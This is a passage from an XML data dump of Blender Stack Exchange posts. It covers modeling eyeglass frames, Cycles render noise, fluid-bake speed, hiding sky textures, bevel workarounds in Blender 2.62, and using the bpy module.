src=&quot;https://i.stack.imgur.com/iDHDj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the technical reason for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/27093&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-01T20:30:02.690" LastActivityDate="2015-01-10T20:33:12.783" Title="Why do even samples give less noise than odd samples?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5713" PostTypeId="1" CreationDate="2013-12-22T04:20:26.990" Score="4" ViewCount="2133" Body="&lt;p&gt;How would you make a frame for eye glasses? More specifically, the part that sticks out over the ears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking into curves and deforming a cube to do this, or possibly just beveling a curve into what I want. What would be the easiest and best way to create this shape?&lt;/p&gt;&#xA;" OwnerUserId="1930" LastEditorUserId="599" LastEditDate="2013-12-22T07:26:44.730" LastActivityDate="2013-12-23T03:31:27.860" Title="Most efficient way to create a frame for eye glasses?" Tags="&lt;modeling&gt;&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5714" PostTypeId="2" ParentId="5713" CreationDate="2013-12-22T05:29:46.813" Score="4" Body="&lt;p&gt;Yes, the fastest way would be to use beveled curve. Here's a simple one using only curve with a &lt;strong&gt;Mirror&lt;/strong&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pYFNh.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyclic property of the curve splines that form each lenses' rim is toggled on, and the frame's width can be varied by &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; on selected control point. To some extent, the frame's shape can be further modified by using &lt;em&gt;taper&lt;/em&gt; and &lt;em&gt;bevel&lt;/em&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8H6Th.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that both objects affect the appearance of all splines within the curve. Modifying just part of the curve will require that part to be separated as a new curve object.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Handle Part&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Modeling the glasses' handle can be done manually as the others' answers, or by using a &lt;strong&gt;Curve&lt;/strong&gt; modifier on the handle's mesh object: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o5Xpg.png&quot; alt=&quot;3a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may get lesser control than by shaping it manually. But using this method, you can quickly adjust the handle's curvature by editing the curve, editing the mesh itself mostly to control the shape along its length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RnweL.gif&quot; alt=&quot;4a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-23T03:31:27.860" LastActivityDate="2013-12-23T03:31:27.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5715" PostTypeId="2" ParentId="5702" CreationDate="2013-12-22T07:35:28.367" Score="5" Body="&lt;p&gt;Parenting is the way to go, but then sometimes basic parenting can be too rigid, especially when animating. When permanent parenting gets in the way you can use a Child Of Constraint, which allows you to animate the influence that the parenting has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following example the gun has 100% influence by the righthand while the lefthand has 0%. The yellow shading indicates that the influence value is keyframed so you can animate the influence to have the gun follow the lefhand at any given time. Within the game environment you could use python to turn the influence on and off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a game environment this can also help with different scenarios, eg pick up a bayonet and clip it to the barrel, then unclip it for hand to hand combat, pick up a silencer and clip that on, then turn off the parenting to leave it behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J1aKZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-12-22T07:35:28.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5716" PostTypeId="2" ParentId="5713" CreationDate="2013-12-22T07:39:36.983" Score="1" Body="&lt;p&gt;In this case, curves is probably the way to go. However here is a simple way you can model this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Circle (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt;Mesh &gt; Circle&lt;/em&gt;) and delete (&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Delete&lt;/kbd&gt;) most of it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3PEF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Extrude (&lt;kbd&gt;E&lt;/kbd&gt;) one vertex out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lmKDi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all (&lt;kbd&gt;A&lt;/kbd&gt;) and extrude (&lt;kbd&gt;E&lt;/kbd&gt;) sideways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cCqaA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a solidify modifier and a subsurf modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pck2E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-22T22:42:23.027" LastActivityDate="2013-12-22T22:42:23.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5717" PostTypeId="2" ParentId="5711" CreationDate="2013-12-22T07:48:23.000" Score="0" Body="&lt;p&gt;I think you are not correctly understanding the mechanic of Cycles. Cycles itself doesn't generate noise. Cycles generates a lot of rays from camera, every ray collides with some surface. Then a special light distribution function determines how to reflect this ray and how to calculate returning value. There may be a lot of such ray bounces and on some types of surfaces one ray hit may produce a lot of &quot;sub-rays&quot; reflected not by ideal angle (diffuse BRDF, glossy BRDF with non-zero roughness, etc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well there is a random distribution for sub-rays like in real physics. Except for non-rough glossy surfaces each ray may return high value from light source, so they give high value to the point of surface from which they were launched, but it is random-generated behaviour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to change the &lt;em&gt;Seed&lt;/em&gt; in rendering settings (panel &quot;Sampling&quot;), then do per-pixel difference between new and previous pictures and you will see. Lot of work with Cycles is to determine balance between values for sampling and light paths, and rendering time for specific scene. You will have a very smooth picture using 200-1000 samples per pixel but about day or two for rendering for example. But you cloud render 4-5 pictures with 20 samples and different seeds, multiply them and you will have almost same smooth result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About specific lamps. I think there is old-style equation for point lamp, based on calculating angle between reflected ray and direction to lamp from surface point that was hit by ray from camera. Well, it produces sort of solid result, but it is not Cycles style. Look at examples, almost all of them are using mesh lights (mesh with Emission BRDF). It is very useful, because you could build not imitating light rig but physically correct light system. Imagine for example light system based on daylight emitting from exterior through windows into interior. It is amazing: just five years ago you didn't have correct way to build such rig because area lights weren't adequate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if tl;dr, I tried to give explanation, not just solution.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="29" LastEditDate="2013-12-22T10:21:26.110" LastActivityDate="2013-12-22T10:21:26.110" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5718" PostTypeId="1" CreationDate="2013-12-22T12:16:42.943" Score="5" ViewCount="382" Body="&lt;p&gt;In the following figures we show the results of our attempts in order to mix a &lt;em&gt;key-framed animation&lt;/em&gt; with a &lt;em&gt;fluid simulation&lt;/em&gt;. As you can see, in the top one the obstacle is &lt;em&gt;static&lt;/em&gt; (&lt;em&gt;fix&lt;/em&gt;) but in the bottom one it turns counterclockwise slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Static&lt;/em&gt; one took only &lt;strong&gt;&lt;code&gt;5&lt;/code&gt;&lt;/strong&gt; minutes to be baked, however, the &lt;em&gt;dynamic&lt;/em&gt; one took &lt;strong&gt;&lt;code&gt;65&lt;/code&gt;&lt;/strong&gt; minutes on the same computer system!? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need to know:&lt;br&gt;&#xA;&lt;em&gt;1. First, whether this massive time difference is usual even though there is no significant difference between the two simulation?&lt;br&gt;&#xA;2. Is there any tip / trick to speed-up the baking of mixed animation/simulations?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our final simulation (&lt;em&gt;for education purpose, btw&lt;/em&gt;) will be much more complex in terms of dynamic and the number of objects in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ineVL.gif&quot; alt=&quot;static object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sY4Jo.gif&quot; alt=&quot;dynamic object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastEditorUserId="599" LastEditDate="2014-01-28T07:02:00.613" LastActivityDate="2014-02-27T07:51:15.223" Title="Why do keyframed objects cause fluid baking to slow down so much?" Tags="&lt;fluid-simulation&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5719" PostTypeId="2" ParentId="5711" CreationDate="2013-12-22T15:49:34.513" Score="2" Body="&lt;p&gt;Generally, a high &lt;a href=&quot;https://en.wikipedia.org/wiki/View_factor&quot; rel=&quot;nofollow&quot;&gt;view factor&lt;/a&gt; between your scene and the lamp you use makes sampling smoother and less noisy, but also reduces the contrast in your scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, point lamps and sun lamps are relatively inefficient, meshlights and other lamps with a significant and homogenous surface area are more efficient and ambient light from an environment map (that has a low contrast or at least not only small points of light on it) is the most efficient lighting source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the lamp choice has relatively significant effects on the noise produced in combination with glossy and glass surfaces (especially with caustics enabled), the influence is smaller with matte surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://adaptivesamples.com/2013/07/21/cif-1-multiple-importance-sample/&quot; rel=&quot;nofollow&quot;&gt;&quot;Multiple Importance Sample&quot;&lt;/a&gt; option in materials and lamps optimizes the sampling for small view factors and thereby (partially) compensates for the inefficiencies created by them.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-12-22T15:49:34.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5720" PostTypeId="2" ParentId="2469" CreationDate="2013-12-22T17:43:26.743" Score="0" Body="&lt;p&gt;Heres another method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def addPropertyToObj(npType, npName, npVal, objPName, objPVal):&#xA;print('started..')&#xA;for obj in bpy.data.objects:&#xA;    for prop in  obj.game.properties:&#xA;        if prop.name== objPName and prop.value== objPVal:&#xA;            print(&quot;added new gameProperty to object: &quot;+obj.name)&#xA;            bpy.context.scene.objects.active = obj&#xA;            bpy.ops.object.game_property_new(type=npType, name=npName)&#xA;            obj.game.properties[npName].value= npVal&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will add the gameProperty: &quot;npName&quot; with type &quot;npType&quot; and initial value of &quot;npVal&quot; to ALL&#xA;objects in scene with an existing gameProperty called &quot;objPName&quot; with value &quot;objPVal&quot;&#xA;example: addPropertyToObj('BOOL', &quot;usingFarModel&quot;, False, &quot;structName&quot;, &quot;MapleWood&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;special thanks to z0r&lt;/p&gt;&#xA;" OwnerUserId="1933" LastActivityDate="2013-12-22T17:43:26.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5721" PostTypeId="1" CreationDate="2013-12-22T18:07:04.030" Score="1" ViewCount="425" Body="&lt;p&gt;I just added a simple compositing node setup to add glare to my scene.&#xA;The edges of my cubical objects seem very jagged when enabling nodes while rendering.&#xA;I think it might be an antialiasing issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the &quot;Full Sample&quot; mode, but I see no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on?&lt;/p&gt;&#xA;" OwnerUserId="1934" LastActivityDate="2013-12-22T18:07:04.030" Title="antialiasing is disabled when using Compositing nodes?" Tags="&lt;compositor&gt;&lt;blender-internal-render-engine&gt;&lt;antialiasing&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5722" PostTypeId="1" AcceptedAnswerId="8543" CreationDate="2013-12-22T19:53:54.983" Score="10" ViewCount="5184" Body="&lt;p&gt;Is there a way to select loops with &lt;em&gt;Emulate 3 Button Mouse&lt;/em&gt; and &lt;em&gt;Left click select&lt;/em&gt; enabled?&lt;/p&gt;&#xA;" OwnerUserId="1935" LastEditorUserId="599" LastEditDate="2013-12-23T00:07:44.450" LastActivityDate="2021-05-10T04:59:16.730" Title="How to select loops with 'emulate 3 button mouse' and 'LMB select' enabled?" Tags="&lt;selection-tools&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5723" PostTypeId="1" AcceptedAnswerId="5729" CreationDate="2013-12-22T20:28:06.433" Score="10" ViewCount="11348" Body="&lt;p&gt;I'm using a sky texture for environmental lightning. It gets rendered as background when I do that.&#xA;Can I prevent it from rendering, but still use it for environmental lightning?&lt;/p&gt;&#xA;" OwnerUserId="1937" LastEditorUserId="20" LastEditDate="2013-12-22T21:18:23.550" LastActivityDate="2013-12-22T23:17:38.450" Title="Not render sky texture?" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5724" PostTypeId="1" AcceptedAnswerId="5731" CreationDate="2013-12-22T20:29:12.647" Score="2" ViewCount="331" Body="&lt;p&gt;I'm trying to bevel an object, but I can't see any option for that. I've tried using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; shortcut and &lt;em&gt;Mesh &gt; Edges &gt; Bevel&lt;/em&gt;. But as it can be seen in the screenshot, there is no option for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.62 in Ubuntu 12.04 LTS. I'm not sure, but I think I downloaded Blender from the Ubuntu Software Center.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4REwh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorDisplayName="user1853" LastEditDate="2014-06-12T19:51:27.837" LastActivityDate="2014-06-12T19:51:27.837" Title="No bevel option in 2.62" Tags="&lt;linux&gt;&lt;versions&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5726" PostTypeId="2" ParentId="5723" CreationDate="2013-12-22T21:11:31.387" Score="4" Body="&lt;h1&gt;Cycles&lt;/h1&gt;&#xA;&lt;p&gt;In Cycles can do that by using the &lt;em&gt;Light Path&lt;/em&gt; node set to &lt;em&gt;Is Camera Ray&lt;/em&gt; (You have to invert it otherwise it renders without affecting the lighting of the scene. The inverse of what you want.):&#xA;&lt;img src=&quot;https://puu.sh/5Vg6n.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Blender Internal&lt;/h1&gt;&#xA;&lt;p&gt;In Blender internal, you have to set the alpha to the sky, then you can put anything you want into the background. To render the sky as alpha:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Under the &lt;em&gt;Shading&lt;/em&gt; tab of the &lt;em&gt;Render&lt;/em&gt; panel, set alpha to &lt;em&gt;Transparent&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Under the &lt;em&gt;Output&lt;/em&gt; tab of the &lt;em&gt;Render&lt;/em&gt; panel, set &lt;em&gt;Output&lt;/em&gt; to &lt;em&gt;PNG&lt;/em&gt; with &lt;em&gt;RGBA&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Render.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the compositor, use the &lt;em&gt;Mix&lt;/em&gt; node to add a background color/image:&#xA;&lt;img src=&quot;https://puu.sh/5Vh2A.png&quot; alt=&quot;&quot; /&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/5Vh88.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;After:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gwzx3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-22T21:28:06.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5728" PostTypeId="2" ParentId="5722" CreationDate="2013-12-22T22:07:12.513" Score="2" Body="&lt;p&gt;&lt;em&gt;Emulate MMB&lt;/em&gt; &lt;a href=&quot;http://developer.blender.org/T37735&quot; rel=&quot;nofollow noreferrer&quot;&gt;does not currently work&lt;/a&gt; when you choose &lt;em&gt;select with LMB&lt;/em&gt;. Blender allows you to select it when it's grayed but it still wont work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vt8G6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To select an edge loop, use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;LMB&lt;/kbd&gt; or from the view header, select an edge and go to &lt;em&gt;Select &gt; Edge Loop&lt;/em&gt;. Additionally, you can map a custom shortcut to this action by right clicking and choosing &lt;em&gt;Change Shortcut&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ill6H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-23T00:08:43.760" LastActivityDate="2013-12-23T00:08:43.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5729" PostTypeId="2" ParentId="5723" CreationDate="2013-12-22T22:14:52.107" Score="6" Body="&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;br /&gt;&#xA;You could disable &lt;em&gt;Sky&lt;/em&gt; in &lt;em&gt;Properties &amp;gt; Render Layers &amp;gt; Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w56jy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;Sky&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hV9Dh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;Sky&lt;/em&gt; disabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2o1Is.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 2:&lt;/strong&gt;&lt;br /&gt;&#xA;Another way is to set the &lt;em&gt;Alpha&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Shading&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oEEfN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will give the same result as disabling &lt;em&gt;Sky&lt;/em&gt; in &lt;em&gt;Render layers &amp;gt; Layers&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;For cycles you could set the &lt;em&gt;Film&lt;/em&gt; to &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &amp;gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDYOT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;Transparent&lt;/em&gt; disabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lnbiw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;em&gt;Transparent&lt;/em&gt; enabled:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Po89u.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-22T23:17:38.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5730" PostTypeId="2" ParentId="5724" CreationDate="2013-12-22T22:19:21.377" Score="2" Body="&lt;p&gt;The bevel feature in question wasn't added until &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.63/BMesh#Bevel&quot; rel=&quot;nofollow&quot;&gt;Blender 2.63&lt;/a&gt; and shortcuts weren't added until &lt;a href=&quot;http://wiki.blender.org/index.php/Dev%3aRef/Release_Notes/2.64/BMesh#Misc&quot; rel=&quot;nofollow&quot;&gt;2.64&lt;/a&gt; so &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; won't work.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-22T23:24:32.630" LastActivityDate="2013-12-22T23:24:32.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5731" PostTypeId="2" ParentId="5724" CreationDate="2013-12-22T23:07:05.273" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/5730/599&quot;&gt;As mentioned by iKlsR&lt;/a&gt;, this feature is not in 2.62. However, there is a workaround:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edges which you want to bevel and set the &lt;em&gt;Bevel Weight&lt;/em&gt; to &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mW28U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a bevel modifier and set the &lt;em&gt;Limit Method&lt;/em&gt; to &lt;em&gt;Weight&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IZKVH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you want more bevel segments, duplicate the modifier by pressing &lt;em&gt;Copy&lt;/em&gt;, then adjust the &lt;em&gt;Width&lt;/em&gt; of the new modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FYpXO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that I &lt;strong&gt;strongly&lt;/strong&gt; recommend updating your version of blender instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my &lt;a href=&quot;https://blender.stackexchange.com/a/5182/599&quot;&gt;previous answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h1&gt;Updating blender:&lt;/h1&gt;&#xA;  &#xA;  &lt;p&gt;For Ubuntu, you can install up to date versions of blender by using the &lt;a href=&quot;https://launchpad.net/~irie/+archive/blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;irie PPA&lt;/a&gt;. Add the PPA to your sources with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo add-apt-repository ppa:irie/blender&#xA;sudo apt-get update &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;See &lt;a href=&quot;https://askubuntu.com/q/169542/183331&quot;&gt;this post on AskUbuntu&lt;/a&gt; for more details.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can also use portable versions from &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender.org&lt;/a&gt;:&lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Download the tarball and extract&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;Run the &lt;code&gt;blender&lt;/code&gt; executable in the extracted directory to run blender&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;(Optional) create a launcher &lt;code&gt;.desktop&lt;/code&gt; file. See &lt;a href=&quot;https://askubuntu.com/questions/78730/how-do-i-add-a-custom-launcher&quot;&gt;this post on AskUbuntu&lt;/a&gt; for more information.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Note that you can have multiple portable versions of blender at one&#xA;  time.&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;Also see &lt;a href=&quot;https://blender.stackexchange.com/questions/3438/where-can-i-get-blender-test-builds&quot;&gt;Where can I get Blender test builds?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-12-22T23:07:05.273" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5732" PostTypeId="1" AcceptedAnswerId="5735" CreationDate="2013-12-23T00:55:04.010" Score="12" ViewCount="24442" Body="&lt;p&gt;After &lt;code&gt;sudo apt-get install blender&lt;/code&gt; on Ubuntu 12.10, I have Blender version &lt;code&gt;2.63&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can not import the relevant scripting Library&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-python prettyprint-override&quot;&gt;&lt;code&gt;Python 3.2.3 (default, Sep 25 2013, 19:36:10) &#xA;[GCC 4.7.2] on linux2&#xA;Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.&#xA;&amp;gt;&amp;gt;&amp;gt; import bpy&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;ImportError: No module named bpy&#xA;&amp;gt;&amp;gt;&amp;gt; import Blender&#xA;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;stdin&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;ImportError: No module named Blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Later on, I would like to use numPy and Blender to create some figures for 3D printing, as a friend has suggested.&lt;/p&gt;&#xA;" OwnerUserId="1928" LastEditorUserId="55" LastEditDate="2013-12-23T17:12:06.823" LastActivityDate="2013-12-23T17:12:06.823" Title="getting started: no module called bpy outside of Blender" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5733" PostTypeId="2" ParentId="5732" CreationDate="2013-12-23T01:04:00.157" Score="4" Body="&lt;p&gt;The &lt;code&gt;bpy&lt;/code&gt; module is only accessible from the Python interpreter built-in to Blender. It is tightly integrated to Blender's runtime process, and is not primarily meant to be accessed like a library from a standalone Python process.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-23T01:04:00.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
